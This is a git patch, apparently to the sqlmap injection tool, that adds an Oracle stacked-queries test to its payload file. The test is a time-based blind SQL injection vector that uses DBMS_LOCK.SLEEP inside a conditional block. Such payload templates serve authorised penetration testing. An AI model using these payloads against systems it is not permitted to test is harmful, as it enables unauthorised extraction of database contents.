From f31c02823258dea959c1ecb38b29c9ab236cd963 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Sun, 16 Jan 2011 10:07:56 +0000
Subject: [PATCH] Oracle stacked vector based on DBMS_LOCK.SLEEP
 (https://foro.undersecurity.net/read.php?46,1436)

---
 xml/payloads.xml | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/xml/payloads.xml b/xml/payloads.xml
index aa0c50b49..c45ec1374 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1454,6 +1454,26 @@ Formats:
         </details>
     </test>
 
+    <test>
+        <title>Oracle stacked queries (DBMS_LOCK.SLEEP)</title>
+        <stype>4</stype>
+        <level>5</level>
+        <risk>0</risk>
+        <clause>0</clause>
+        <where>1</where>
+        <vector>; BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;</vector>
+        <request>
+            <payload>; BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END;</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Oracle</dbms>
+        </details>
+    </test>
+
     <test>
         <title>SQLite &gt; 2.0 stacked queries (heavy query)</title>
         <stype>4</stype>